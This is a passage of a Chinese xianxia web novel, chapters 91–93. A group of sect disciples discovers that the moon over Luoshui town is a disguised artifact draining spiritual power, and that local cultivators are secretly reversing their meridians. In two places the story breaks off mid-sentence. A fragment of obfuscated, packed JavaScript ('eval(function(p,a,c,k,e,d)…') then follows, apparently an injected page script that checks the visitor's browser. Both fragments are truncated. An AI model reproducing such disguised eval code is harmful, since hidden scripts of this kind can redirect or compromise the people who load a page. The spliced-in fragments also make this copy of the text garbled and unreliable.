这次白月书沉默了许久,才终于开口:“我们一旦回头,之衡与钟安林的情况必定会失控。” “所以我直接拉着他两人回了客栈。” 语毕长出口气,她走到凳子处坐下:“因为他两人状态不稳定,为防万一,我便让钟安林留在之衡房间,由我盯 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祝昭昭:这人预判了我想干的。 不多时,零星呓声在空气中响起。 被白月书牵起手,祝昭昭刚准备和她一起过去,地上的上官修忽然动了。 不知道什么时候悄悄挣脱了法器,他猛站起身扑向白月书:“我忍你们很久了,立刻把灵果交出来!!” 动作又快又准,上官修几步冲到白月书跟前,怒吼着抓向她肩膀。 刚勉力坐起来的秦之衡立刻下床:“月……!” 下一秒,祝昭昭动了。 抬起的手臂快得只剩一道残影,她不知从哪摸出一柄比头还要大上两分的锤子—— 一下锤在上官修脑袋上。 当场被锤得翻白眼,上官修成爪的十指瞬间僵硬,离他最近的白月书甚至隐约看见他的头在以一种不规则频率震动。 随着人身倒地的‘嗵’声响起,空气陷入一种难言的沉默。 始作俑者祝昭昭却没事人一样放下锤,笑眯眯地望向秦之衡:“之衡师兄,还有什么事吗?” 惊恐的秦之衡:“……没。” 祝昭昭于是朝他身旁的钟安林轻点下巴:“钟师兄呢?听说钟师兄似乎也和上官师兄一样好奇灵果的味道。” 她掂掂锤子:“钟师兄是否需要清醒一下?” 本来还想和秦之衡商量下能不能来颗灵果尝尝的钟安林:“……祝师妹你肯定听错了,师兄根本就不想尝灵果。” 他语气前所未有的坚定:“师兄和灵果势不两立!” 闻言‘哦’了一声,祝昭昭颇为遗憾地收起锤子。 法器的驱动仅能做到让昏迷的众人清醒,却不能让他们摆脱洛水镇的侵蚀,所幸白月书的状态已经证明了解药的有效性。 所以祝昭昭现在要做的,就是解药以不会被怀疑的方式给出去。 这对她当然不算难事。 从储物袋中取出早就让202拟态成丹丸的解药,祝昭昭挨个分发:“这是我师父给我的醒神丹,大家都吃一颗吧。” 一听是掌筠给祝昭昭的丹药,众人下意识都想拒绝,最后全被祝昭昭一句‘情况紧急,切勿推脱’挡了回去。 盯着众人把解药吃下去,祝昭昭忽然感觉有视线落在自己身上。 她抬眼:“干嘛。” “不给我一颗么?”慕行秋微笑,伸出手点点自己,“我觉得我也需要一颗。” 祝昭昭一阵无语。 能不能照照镜子,两颗眼珠子亮得都快赶上灯泡了,吃什么醒神丹? 腹诽完,祝昭昭还是让202拿出一份解药准备拟态。 只不过…… “喏。” 示意慕行秋伸出手,祝昭昭将东西放在他掌心。 随着祝昭昭收回手,慕行秋盯着掌心里的东西:“这是。” “沁凉蜜。” 眉眼微微弯起,祝昭昭言笑晏晏:“慕师兄神思清明,用不着醒神丹。” “还是吃颗沁凉蜜清清口吧。” 话落带着满脸恶作剧得逞的狡黠笑意,祝昭昭挑衅似地往嘴里扔了颗真·薄荷糖。 而她把糖嚼得咔咔作响的功夫,窗边卧榻处很快响起吱呀声。 是云珈。 略微呆滞的眼神昭示着她还没有彻底清醒,愣愣地和祝昭昭对上视线的瞬间,她忽然开口:“我看到了。” 祝昭昭也一怔:“你看到了?” “月亮。” 鬓角碎发被风吹起,云珈自顾自地喃喃:“那颗月亮……” “在吞噬灵力。” 91. “上官师兄为何还未醒来?” 吞噬灵力的月亮。 祝昭昭沉默。 哪怕早就清楚那颗美丽的光球究竟有多危险,可当真正从其他人口中听到这个答案时,她还是有很多疑问。 “吞噬灵力的月亮?” 白月书替她问出了疑问:“可是自入夜开始,那轮圆月便已挂在空中。如果它会吞噬灵力……” “为什么我与之衡还有钟安林,都并未察觉到体内灵力流失??” 担心自己一家之言影响其他人判断,她转而向秦之衡和钟安林再次确认:“你二人可否有灵力流失的感觉?” 被点到名的两人齐齐摇头。 带着些微凉意的夜风将云珈吹醒,她语塞:“可是……” “我证明云珈说得是真的。” 原本一直在一边入定的贺稚雪不知何时站起了身,缓步走到云珈身边。 望着云珈的目光清明,她开口,话音冷静清晰:“祭典开始时我和她,还有陈青刚好在祭庙处。” “我们看着他们烧香举行过请神仪式大约一刻钟后,就有人开始大喊‘神来了’。” 闻言略加思索,白月书很快确定自己的经历和贺稚雪说的时间,刚好能对上:“如此。” “没错。” 贺稚雪继续:“当时各种嘈杂声音混在一起,吵得我本就迷蒙的神智更加混乱,所以我如今已经记不住那个‘神’究竟是何模样。” “但有一点我却记得清楚。” 话落忽然顿了顿,再开口,她一字一句:“神出现后,它身后的月亮忽然光芒大盛。” 人群静了一下。 直到祝昭昭开口:“光芒大盛?” 她摸摸下巴:“可是如果很亮的话,哪怕在客栈里,月书师姐他们应该也是能察觉到的吧?” 此话一出,有人点头。 “我很难说清望见那大盛光芒时的感觉。” 出乎预料地,贺稚雪并没有再试图描述月亮的亮度:“我只知道,月光乍然明亮的时候,我清楚瞧见那月亮扭曲了一瞬。” “而昭昭你也确实提醒了我。” 祝昭昭意外:“我?” 她点头:“正如你所说,如果那亮色是月光,那么即使身处客栈,月书一定也能察觉。” “既然月书没提,那便应该不是月光。” 祝昭昭顺着问下去:“那贺师姐你觉得是……” “是瞬间汇集的巨量灵力。” 目光落在窗外天边,贺稚雪神色沉沉:“因为当我看向陈青,想让他与我一起查看那月亮时……” “我后知后觉地发现,我们周围的所有修士,都在释放灵力。” 眉头下意识皱起,她不太确定地补充:“除了修士,我隐约记得那些镇民身上似乎也有灵力波动。” “虽然不多,但的确是有。”贺稚雪语气渐渐坚定,“那时候,除了我们,所有人或多或少都在释放灵力。” “而被众人释放出的灵力,全部被那轮圆月吸纳一空。” 她话不停:“如果那大盛的光芒不是月光,就只可能是巨量灵力汇集于那轮月上,让我误以为是月光。但不论如何——” 轻轻拍了拍云珈的头,贺稚雪笑:“云珈所见是真,她并未说错。” 空气落针可闻。 倒不是众人不相信贺稚雪的说辞,毕竟她说话时,神色清明语调清晰,状态明显比云珈好得多。 且治疗法器与醒神丹是大家一起受了的,这两样东西效果究竟如何,所有人都很清楚。 钟安林修为略逊贺稚雪一筹,尚已彻底清醒;撑到把云珈带回来后,甚至还有余力独自打坐调息的贺稚雪,又怎么可能还神志不清? 可是这话又太过诡异。 什么样的月亮才会吸纳灵力? “为什么会这样?” 问话的是刘统。他当时和上官修一起,在离祭庙更远的地方活动。 但因为被洛水影响得太深,所以哪怕同样是在祭典结束时赶回,他却早就忘记经历的一切:“月亮为什么会吸纳灵力,寻常月亮会这样吗?” “还是洛水镇的月亮与其他地方不同?唯独它会吸纳灵力?” 正说着,他忽然注意到地上昏迷不醒的上官修:“上官师兄怎么还未醒来,我刚才不是喂他吃醒神丹了吗?” 他不问还好,这一问,白月书等人就跟被点到名一样,默契又心虚地移开视线。 嘴巴还闭得死紧。 然而在刘统的视线攻击下,秦之衡最后还是开了口:“……也许是因为他被洛水影响太过严重,醒神丹还未起效罢。” “原来如此。” 他顿作恍然大悟状:“这么说来,我与上官师兄在凉亭时,还被他发现我接触灵果而引来责备。” 崇敬之情溢于言表,刘统深深感慨:“在被洛水影响如此之深的情况下还能坚守底线,上官师兄,实在是令人敬佩。” 围观全程的五人:…… 够了,到此为止吧。 “不过,” 他指指上官修脑袋:“谁能告诉我,师兄头上为什么有个那么大的包?” 一片诡异的安静里,始作俑者·祝昭昭手动围笑:“你想让他现在就醒对吗?” 白月书顿时大惊失色:“昭昭,万万不可啊!” 秦之衡和钟安林也赶紧坐直起来劝:“昭昭啊,要不还是让他再睡一会儿吧。” 剩下嘴都没来得及张的刘统一脸懵。 不是,到底发生了什么? 见刘统被吓得没了追问的意思,祝昭昭收回目光。 虽然对上官修的认知略显抽象,但他对月亮这件事的猜测,从某种角度来说,还真就是对的。 洛水镇的月亮,的确与其他地方的月亮不同。 因为实际上,它根本不是月亮,而是…… “法器。” 一瞬对上所有目光,慕行秋神色平静:“祭典上的物什,是伪装成月亮的法器。” 对了。 祝昭昭默默在心底打了个响指。 “竟然是法器。” 贺稚雪神色微肃:“如果是这样,那今晚的一切异象,就都解释得通了。” “可是,” 白月书指出问题:“这还是不能解释,从洛水镇出去的修士为什么会无端爆体身亡。” 她仔细分析:“灵果让修士得以快速暴涨修为,法器则定时吸纳灵力再释放在镇中,帮助修士修炼。” “可哪怕修士们被洛水同化,但本身的修炼身法却并无任何异常。” 眉头不自觉蹙起,白月书百思不得其解:“那修士们为什么会无端暴毙?” “究竟是哪里出了问题?” 没人接话。 因为他们和白月书接触到的信息相差无几,白月书都不知道的事,他们当然也不知道。 见许久没人应声,白月书转移话题:“但不论如何,我们总归知道了月亮是法器。那么……” 却就在这时,她耳边忽然响起一道熟悉的话音。 责怪的女声意有所指:“你还不说?” 是祝昭昭。 可‘你’是谁? 正当所有人因为这没头没尾的一句话愣在原地时,另一道声音也慢悠悠响起—— “既然此番发现是昭昭师妹你的手笔,解释,自然也该由你来。” 回话的竟然是慕行秋。 不止回话的人让人意外,回话的内容也让人讶异。 什么叫‘此番发现是昭昭师妹你的手笔’? 她一个才入门不久的小金丹,能在这诡异的地方自保,已经是谢天谢地。 还能发现什么? 钟安林对这事比较在意:“慕师兄言下之意,是你带着昭昭师妹一同探查时,她意外发现了什么,才告诉的师兄你吗?” “不是。” 慕行秋笑意温和,出口的话却直白:“那件事,不可能被意外发现。” 不可能被意外发现? 意思是这件事隐蔽到寻常探查根本不可能发现? 意识到这点,众人愣住。 另一边,慕行秋仍在不紧不慢地继续:“如果不是昭昭师妹好心告知于我,” 语气在‘好心’两个字时加重,他似笑非笑:“兴许我现在也与你们一样,对此事毫无所察。” 此话一出,众人哗然。 所以慕行秋的意思是说,是祝昭昭先注意到了他无法发现的东西。 而他们心中最尊敬的,印象里几乎无所不能的大师兄…… 才是被引导和告知的那个人?? 真·慕行秋迷弟的钟安林当场石化。 其他人的反应也没好到哪去。 没想到祝昭昭竟然能发现慕行秋都发现不了的东西,不只是白月书和秦之衡,所有人都惊了。 陈青反应最快:“所以昭昭,你到底发现了什么?” 贺稚雪接在他后头:“那些修士究竟为什么会暴毙?灵果吃多了,还是吸纳灵力太过??” 顿时被数双求知若渴的眼睛齐刷刷盯住,祝昭昭嘴角弧度一僵,脑袋慢动作扭到慕行秋方向。 察觉到她的目光,慕行秋脸上柔和的笑意幽幽变深。 指指自己唇角,他朝祝昭昭精神传音:“沁凉蜜味道很好。” “谢谢师妹。” 好小子。 都是解药,给你换成糖块吃还不满意了是吧? 祝昭昭感觉脑瓜子嗡嗡响。 谁能告诉她这么一个上周目搞崩位面的大反派,这周目人人尊敬的剑宗大师兄,为什么一碰上她就忽然变身恶作剧小鬼了啊? 她看起来是那种会用博/大/胸/怀包容小鬼的人是吗?? 气得狠狠斜了慕行秋一眼,祝昭昭选择眼不见为净:“离开洛水镇的修士们之所以暴毙,是因为修炼时逆转经脉,灵力逆行。” 逆转经脉,灵力逆行? 祝昭昭这话说得不可谓不含蓄。 可身为修士,谁不知道这就是走火入魔? 人群因为这个答案陷入死寂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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环视四周的目光沉沉,贺稚雪皱眉摸向眼睛:“为什么我眼前的光景总在不时闪动,两种景象一直变来变去?” “你们有这样吗?” 秦之衡摇头,钟安林点头,陈青则抓下她放在眼睛的手:“闪动便闪动,我也闪动,你不要总摸眼睛。” 任由陈青抓着自己,贺稚雪问白月书:“月书,你呢?” “未曾。” 被点到名的白月书摇头:“从睁眼开始,房间在我眼中便一直残破灰败。” 她摸摸祝昭昭的脑袋:“我就知道,昭昭说的定是真的。” 随着头顶传来轻柔的触感,祝昭昭本来被慕行秋搞得略微不爽的心情立刻多云转晴。 将白月书搭在自己头顶的手拉下来抱住,她靠在白月书肩头蹭蹭:“看见的景象稳定与否,取决于本身对洛水这一存在的坚信程度。” “若无法将脑海中对洛水的印象打碎抹除,就算修为再高,也不可能看穿洛水的伪装。” “这便是先前我们始终发现不了洛水镇问题的原因。” 这边祝昭昭说完,那边云珈‘哦’了一声:“原来如此。” “没错。” 见她一副恍然大悟的样子,祝昭昭从白月书肩膀抬头:“云珈,你不错嘛,看到真的洛水还那么冷静。” “啊?” 云珈一副‘你在说我吗’的懵比表情:“没有啊。” “房间在我眼里根本就没变化。” 祝昭昭顿时满头黑线。 没变化你还一副什么都知道了的表情。 看向刘统,祝昭昭再问:“刘统你呢,你眼里的房间有变化吗?” 刘统摇头:“没有。” 得到意料之中的答案,祝昭昭略一思忖后道:“看来想要望见真实的洛水,修为高低同样重要。” “那怎么办?” 钟安林皱起眉:“云珈和刘统看不到,我和贺稚雪还有陈青虽然能看到,但也不稳定。” “这怎么行。” 祝昭昭点头表示赞同:“确实有点麻烦。” “你点什么头。” 钟安林一脸‘小屁孩装什么大人’的表情看着祝昭昭:“你最多也就跟我们一样,看到的东西不稳定。” 闻言先是一愣,祝昭昭忽然笑起来:“可是钟师兄,我一直都看得很清楚啊?” 钟安林顿时如遭雷击。 憋着笑从石化的钟安林处收回目光,祝昭昭望向慕行秋:“慕师兄对此事有什么好主意吗?” 像是早就料到祝昭昭会点自己名,慕行秋也没含糊,掌心翻转间,亮出手中法器。 下一秒,亮起的法器光芒掠过房间,真实的洛水映入所有人眼帘。 同时映入眼帘的,还有上官修身旁多出的大恭桶。 在场所有人:……咦惹。 92. “慕师兄大义!” “大师兄,你做了什么啊?” 一把从卧榻上翻下来,云珈震惊又好奇地四处张望:“没想到幻境下的洛水竟然是这个样子,这也太破了吧。” 她轻轻踢了踢脚下碎木屑:“那些镇民住的时候,真的一点都感觉不出来吗?” 祝昭昭听得好笑:“光说镇民感觉不出来,那你感觉出来了吗?” 云珈‘诶’了一声:“那怎么能相提并论嘛,我才在这待了多久。” “如果没猜错的话,” 没再搭理云珈的抱怨,祝昭昭视线微动,朝慕行秋轻抬下巴:“慕师兄应该是用共感法器,和大家一起共享了自己的五感吧。” “五感谈不上。”慕行秋轻笑,“形之一感罢了。” “只共形之一感已经足够厉害!” 钟安林立刻在边上捧哏:“毕竟不论是共感数量还是共感人数,哪怕增加一样或一人,都要消耗成倍的灵力!” 他满脸崇拜:“为了让我们都能感知到真实的洛水,大师兄太不容易了。” 钟安林说完,被慕行秋共感覆盖的几人,都纷纷露出一种类似‘大师兄实在为我们付出太多’的感慨表情。 看得祝昭昭心情复杂。 只能说容不容易先放一边,以慕行秋的性格来看,他之所以单独开视觉共感,比较像是注重隐私,跟灵力消耗量没什么太大关系。 要是他愿意,估计给在场所有人共五感,对他来说都只是洒洒水。 思忖着,感觉再看一会儿钟安林那副不值钱的样,自己马上就得笑出声,祝昭昭抿紧唇角平移开视线。 另一边众人感慨完,很快回归正题—— “虽然真正的洛水是这副模样的确叫人惊讶,” 白月书沉吟:“可这还是不能将此处发生的一切串联起来,从洛水出去的修士无故暴毙的原因,还是无从查起。” “怎么会无从查起?” 指指房门方向,祝昭昭笑得狡黠:“现在房门外,其他房间里,会有很多有趣的东西。” “只要看到,就能找到答案。” “竟是如此?”白月书先是一怔,“那我去看看。” 拉住正欲转身的白月书,祝昭昭不紧不慢地再道:“月书师姐别急,有人应该比你更需要亲自出去看看。” 她扭头,朝坐在地上的上官修笑得眉眼弯弯:“你说呢,上官师兄?” 上官修冷眼瞧着祝昭昭。 刚刚醒来的他既没有搞懂为什么众人都离自己很远,也没有搞懂白月书和祝昭昭在讨论什么。 但他显然对祝昭昭的话不屑一顾:“故弄玄虚,谁有空跟你们这帮人在这里浪费时间。” “我要走了。” 上官修说着,不自觉抬手摸了摸脑袋—— 下一秒,巨大的倒吸气声响彻整个房间。 仿佛随着他的痛嘶感到疼痛,众人顿时面露不忍。 眼中闪过疑惑不解,上官修想再摸一次又不敢,最后讪讪收手,起身朝门口走。 而就在他起身的功夫,白月书忽然察觉到什么般地扭头向房门,接着就想拉住上官修。 却被祝昭昭拦下。 朝白月书轻轻摇了摇头,祝昭昭指指慕行秋,又竖起食指做了个噤声的手势。 于是所有人静静看着上官修走到房门口。 接着,在他打开门的瞬间,慕行秋催动法器,光芒随即落在他身上—— 望着眼前的一片漆黑,上官修怔在原地。 明明刚才推门的时候,他还感觉有光落在眼皮上。 可为什么他只是低了个头再抬起来,廊道就突然变成了现在这副荒废很久的模样? 这还是他印象里的客栈廊道吗? 看着自己房间那漆水大片剥落的房门,厚重尘土与干燥木材混着的腐朽气味钻进鼻间,刺激得上官修很快回过神来。 他想回头,想问房间里的其他人究竟发生了什么。 可廊道另一头响起的脚步声却比他更快。 上官修只是将将循着声音稍微偏移开目光,再收回时,数道人影已经停留在他不远处。 为首的中年男人,甚至只和他隔着数步远的距离。 朝上官修微一颔首,中年男人礼貌开口:“仙师晚好。” 他先是为今晚祭典上发生的事道歉:“今夜祭典取消突然,让仙师感受不佳,还请仙师见谅。” 不等上官修回答,中年男人再道:“人散之后为求答案,我们起坛作法,问神为什么突然离开。” “神给了我们一枚暗器。” 他说着,示意身后端着木盘的人上前。 目光一转不转地盯着那枚在黑暗中闪着寒光的薄刃,中年男人继续:“神告诉我们,这枚暗器上沾染的气息主人,便是导致他突然离开的原因。” 原本平静的表情忽然带上狰狞,他语气开始变得尖细而急促:“我们要找到这个人,找到他,然后……” 话到一半戛然而止,再抬头时,他脸上神情已然恢复成开始的和蔼有礼:“请问仙师是否熟悉此暗器上的气息?” 是否熟悉? 上官修沉默。 怎么会不熟悉? 下意识就想扭头向房间,然而还不等有动作,他突然感觉脖颈动不了了。 随之在脑海里响起的,是祝昭昭冰冷、略带警告的声音:“不想死就别动。” 中年男人察觉到上官修的异常。 他一点点靠近上官修:“仙师为何不说话,可是确实熟悉这暗器上的气息?” 锁住脖颈的灵力强悍,远超上官修挣脱能力,让他动弹不得。 避无可避地对上中年男人漆黑无光的僵直瞳孔,他控制不住地咽了口唾沫。 上官修感觉自己声音在颤抖:“……不熟悉。” “如此。” 缓缓收回身子,中年男人最后朝他行了一礼:“那我们便不再叨扰仙师了。” 话落,中年男人带着一行人转身,很快消失在廊道尽头。 上官修脖颈处的灵力也乍然松开。 几乎是立刻就冲回房间,他怒不可遏地朝慕行秋大吼:“谁让你用灵力锁住我的?!” “方才情况紧急。” 被一顿斥责也不见恼,慕行秋好脾气地笑:“上官兄你一旦回头,势必会让那行人发现我们的异常。而被他们盯上的后果……” “相信方才直面他们的上官兄你,应该比我更清楚才是。” 上官修顿时一哽。 哪怕对慕行秋禁锢自己的行为异常不满,但这句话,他却无论如何都找不到话来反驳。 想起中年男人盯着自己的那双了无生气的瞳孔,上官修最后狠狠瞪了祝昭昭一眼,一言不发地冲到窗边。 担心祝昭昭被上官修吼声吓到,白月书安抚般拍拍她肩膀后,自己走到门口处站了会儿。 片刻后,她回来。 贺稚雪察觉她脸色不对:“月书,怎么了?” “外面有什么问题么?” 抿紧唇点了点头,白月书态度少见地艰难开口:“那些在房间里修炼的修士们……” “全部在逆转经脉。” 此话一出,空气落针可闻。 陈青犹不敢信:“竟是这样?” 钟安林立刻推了窗边的上官修一下:“是真的吗?” 被推得一个趔趄的上官修:“自己去看!” 所有人立刻冲到门边,片刻后又齐齐折返。 本意是想找凳子坐,然而看着那些脏破的桌椅板凳,所有人都脚下生根似的,停在原地半天不动。 直到慕行秋一个响指,房间恢复原状。 抱着‘眼不见即是不存在’的破罐破摔心情,一众人赶紧找位置坐下。 一片安静里,白月书最先开口:“原来镇内修士进步神速,皆因用了逆转经脉的方式修炼。” “再有洛水镇这一天然的幻境场作掩护,难怪我们始终无法发现问题。” 贺稚雪则接着她的话:“所以在这洛水镇中,灵果为食用之人补充灵力,月亮法器则吸纳并释放灵力于镇中,反哺修士们修炼。” “修士们之所以离开洛水后会暴毙,则是因为逆转经脉导致走火入魔爆体而亡。” 云珈‘哦’了一声,似懂非懂:“那创造幻境的人是谁呢?” 还能是谁? 其余人无声对视后,贺稚雪揭晓答案:“自然是那位洛水镇众人供奉的神。” “而且没猜错的话,”陈青若有所思,“这位能够进入所有人梦中,深受洛水镇众人尊敬和供奉的神……” “实际上应该是修士。” 秦之衡补充:“并且是修为非常高的修士。” “另外从这段时日我们一直没有接触洛水的物什,所以始终没有彻底被洛水同化来看,这位神想要侵蚀人的神智,需要媒介。” 陈青指尖轻扣桌面:“再结合这段时间某些人最惦念的东西来倒逆推测,可知这一媒介应该就是灵果。” “也就是说,补充灵力只是伪装,灵果真正的作用,是影响人的神志。” 上官修突然清清嗓子。 没什么情绪地望了上官修一眼,陈青继续:“洛水本就是一个幻境场,加上灵果对神志的侵蚀与影响,他便可在此随意调取镇中人的记忆。” “以我们先前待的几日经验来看,他将这些人从最痛苦的记忆中拯救出来,以此让这些人对他产生信赖。再然后,他会慢慢引诱并控制这些信赖他的人或修士为他所用。” 白月书很快想通其中关节:“那么修士们之所以学会逆转经脉,应该就是他在幻境中灌输的;也因为他在幻境场内拥有绝对的控制权,所以他可以随意改变镇中人的记忆。” “这便能解释为什么从洛水镇出去的修士,都失去了在洛水的这段经历。” 陈青打了个响指。 “那我有个问题。” 钟安林做思考状:“以灵果补充灵力并同化洛水镇人,再用幻境控制这些人的崇拜自己、引导他们学会逆转经脉,最后通过祭典,以法器收集大量灵力。而这些人一旦离开洛水,便随即失忆并随时暴毙……” “这个创造出洛水镇的修士,他的目的是什么?” 没人接话,只有指尖轻叩桌面的声音不时响起。 不等众人有所反应,又有人开口—— “我也有一个问题。” 贺稚雪轻点下巴:“如果离开洛水既失忆,那是谁把洛水可以帮助修炼的消息流传出去的?” 这个问题显然比钟安林的问题还要刁钻,空气干脆陷入一片死寂。 直到刘统小心翼翼开口:“此事复杂,不若我们先通知掌教们带人来协助我们吧?” 刘统说完,先是看了看上官修。 得到上官修不太耐烦的点头后,他又以眼神询问慕行秋意见。 慕行秋亦颔首。 于是刘统拿出传讯法器。 所有人都静静看着刘统动作,只有祝昭昭托着腮,面无表情地望着窗外。 想搬救兵? 想想就好了。 仿佛是在印证祝昭昭的想法般,下一秒,刘统短促地‘啊’了一声。 嫌他反应丢人,上官修立刻斥声:“大惊小怪的,成何体统!” “不是。”刘统指着手里传讯法器,慌得语不成调,“这法器它……它……” “法器失灵了。” 似乎早有预料,慕行秋平静地注视着刘统手里小小的铜制圆盘:“大家看看自己的法器还是否能用。” 所有人依言照做,只有祝昭昭死鱼眼坐在一边。 于是理所当然的,慕行秋目光落到她身上:“昭昭师妹的传讯法器,不方便拿出来么?” 抬眸瞧了慕行秋一眼,祝昭昭沉默着拍出统一发放的传讯法器—— 铜制圆盘黯淡,显然同样没了作用。 “如此。” 朝祝昭昭微一颔首,慕行秋将注意力放回其他人身上。 祝昭昭的视线亦落在眼前急于离开,却因断联而无法的,慌乱的众人。 统一配备的那个,确实是没用。 却不代表她没有后手。 想起殊音单独给自己的传讯法器,祝昭昭静静看着脸色精彩纷呈的众人。 但喊人收尾的前提是要完成任务,不是么? 思忖着,祝昭昭最后垂眸。 而另一边,快速的眼神交流结束,众人很快确定了一个事实—— “慕师兄,”略微沉吟过后,陈青问慕行秋,“你的通讯法器还能用吗?” 张开手,露出掌心里的通讯法器,慕行秋微笑着摇头:“不能。” 刘统一听这话脸色就变了。 他不敢相信:“怎么会这样?出发前明明什么东西都好好的啊?” 作为这次任务的组织者,掌刑司司主殊音的亲传弟子,贺稚雪和陈青的脸色同样不是很好看:“此次任务特殊,不仅掌刑司临行前仔细检查了所带物什,听司中其他弟子说,就连五长老都特地来确认过。” “怎么会出问题……” 没人接话。 只有祝昭昭指尖下意识微蜷。 但她掩饰得很好,因此没人发现。 好半晌,刘统终于回过神来:“所以我们被困在洛水镇了?” 云珈有点不耐烦:“传讯法器都失灵了,可不就是被困在洛水了。” “那怎么办!”刘统反应更大,“这地方太诡异了,被困在这和等死有什么区别?” 此话一出,除了上官修和始终没什么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着说着,她作恍然大悟状:“你该不会只是故意拿信息不够来当幌子,实际上是不敢对上洛水镇吧?” 上官修顿时急了眼:“你胡说什么?!” 对他的怒火不为所动,云珈学着他刚才上下打量钟安林那样打量他:“我不过是随口一说,上官师兄你反应那么大干什么。” “难道是被我说中了?” 气得额角青筋暴起,上官修指着云珈,“你……!” 云珈一脸无所谓地耸肩:“我什么?我很好,不劳烦上官师兄您关心。” 见惯师弟妹恭敬模样的上官修哪见过这阵仗,被吊儿郎当的云珈气得浑身发抖,上官修刚想继续教训她,边上的秦之衡便跳出来说和—— “云师妹年纪尚小,上官兄你莫与她计较。” 秦之衡不说话还好,一说话,可算找到出气口的上官修立刻:“秦之衡你少当好人!” “你既然知道她年纪小,她方才对着我胡言乱语你怎么不劝。这会儿她说完了,你倒是来劝我别与她计较了?!” 被上官修劈头盖脸一顿怒斥砸懵了,秦之衡愣愣:“我……” 以为秦之衡词穷,撒了气的上官修冷哼一声刚移开视线,接着就听他再道—— “可是我觉得云师妹说得并无不对。” “上官兄你此番推脱,确实有胆怯避战之嫌。” 对上秦之衡平静的目光,上官修从愣怔原地到勃然色变—— 最后暴跳如雷:“一派胡言!” “你们不过是方才没和那帮人对上,倘若是你们去和他们面对面,只怕你们现在根本就不敢在这大放厥词!” 秦之衡闻言再次懵然举手:“我方才就站在你身后附近,我看……” “你看什么看!”上官修气得面色通红,“还有你,慕行秋!” 想来早就因刚才被控制一事怀恨在心,表面的客套彻底被撕去,他直指慕行秋:“身为领队,你本该谨言慎行,带领众人在危险环境中稳妥行事。” “可你看看你做了什么?!” 上官修恨声:“如果不是因为你不知道在哪动手还留下了记号,今晚的祭典不会匆匆结束,神不会发现问题,哪怕洛水一开始就是封闭的,我们也不至于陷入如今的境地!” “神摆明了要找到暗器气息的主人,只要你藏着一天,洛水一天不会恢复原样,而洛水一天不恢复原样,我们在这样的包围下,就会一天比一天危险,更遑论谈破局?!” 实在听不下去的钟安林想帮慕行秋说话:“可是……” “没有可是!” 吼完钟安林,上官修咬着牙,一字一句:“慕行秋,像你这样的人,怎么配做领队,怎么配做剑宗大师兄?” “你但凡有点良心,现在就该主动出去,让那些人把你抓起来。” 此话一出,无异于巨石投湖。其他人顿时愤而起身。 而比起激愤的众人,上官修怒骂的主角慕行秋,却显得格外平静。 他只是示意众人坐回去,再微笑望着上官修—— “上官兄继续。” 上官修也不客气,冷笑一声继续:“神处理你时,你再积极抵抗,尽力为我们争取突破洛水的时间。这样到时我们成功回到剑宗,还能向宗内长老与弟子说说你的好话,留你些清誉。” “毕竟既然如今的绝境因你而起,那因你结束,也算是尽善尽美。” “不是么?” 没有人说话。 因为哪怕上官修这话难听,但又何尝不是事实? 作为领队,保护其他人安全本就是职责,如今洛水情况极速恶化的确拜慕行秋所赐,就确实是他失职。 他们当然不会责怪慕行秋,也愿意跟着慕行秋在现在的情况里找一条出路。 可这却不代表慕行秋留把柄在神的手里这件事,就是对的。 所以哪怕他们如今恨不得立刻驳斥上官修,却依旧无法开口。 因为对就是对,错,就是错。 可他们又实在气不过。 于是冷冷盯了上官修半晌,白月书忽然对身旁的祝昭昭道:“昭昭,你把那锤子再拿出来吧,我不拦你了。” 突然被点名的祝昭昭:…… 嗯? 她看着慕行秋。 哪怕被上官修如此侮辱,可从头到尾,他始终只是一言不发的微笑。 有什么好笑的呢? 明明不是你的错。 暗暗在心底叹了声,祝昭昭扭头看向气势汹汹的上官修:“你说够没有。” “错不在他。” 93. 大家对计划有何异议? “祝昭昭?” 上官修挑眉斜眼,语气满是不耐:“其他人都不吭声了,你倒是来插嘴了?” 很快又想起刚才被控制时,祝昭昭那声毫不客气的冰冷警告,自觉被下了面子的他再次光火:“慕行秋此举损害的是我们所有人,其他人尚且明白此事,不再与我争辩……” “你倒是想包庇他的错责,帮他说话?” 上官修神色微嘲:“真不知你这样毫无规矩的人,是如何得到宗主青睐的。” 面对上官修的阴阳怪气,祝昭昭神情平静无波:“上官师兄你可能误会了。” “我无意包庇慕师兄。” “呵。”上官修嗤声,“你既无意包庇他,那你……” “因为我不觉得他有错。” 空气一瞬安静。 将在场所有神色各异的表情收进眼底,祝昭昭语气沉静而坚定:”我不觉得身为领队,为了保护同行之人而出手有错。” 陈青疑惑:“保护同行之人?” “是。” 祝昭昭点头:“慕师兄之所以在神那里留下痕迹,是为了救我。” “如果不是他,我不可能全须全尾地回来。” 祝昭昭语毕,全场哗然。 “竟是如此。” 反应最快的是白月书:“那想必当时的情况定然非常紧急。” 钟安林也连声附和:“我就说慕师兄如此谨慎的人,会落下如此破绽定是有原因的,原来是为了搭救祝师妹。” “慕师兄果然大义。” 有了白月书与钟安林一唱一和,本就无意责怪慕行秋的众人纷纷找理由打圆场,诸如‘慕师兄实在不易’、‘慕师兄勇武非常’、‘慕师兄被误会亦不反驳,真乃宽宏大量’之类的话一时充斥房中。 听得上官修面色紫涨—— “你还有脸提!” 他指着祝昭昭鼻子大骂:“你明知洛水镇如此危险,却仍要不知死活地胡乱跑动,引得祸事临头,害得慕行秋出手救你最后惊动神。” “大家因为你的任性陷入囹圄之境,你现在竟然还好意思大声说出来。” 上官修满脸厌恶:“你以为你在为慕行秋解围,实则你与他两人都是拖累大家的罪魁祸首!” “我是罪魁祸首?” 祝昭昭像是听到什么有意思的笑话:“上官修,你搞清楚,探查本就伴随着风险,真正重要的地方没有一处不藏着陷阱和危机。踩不中,是运气尚可;踩中了,才是常理之中。” 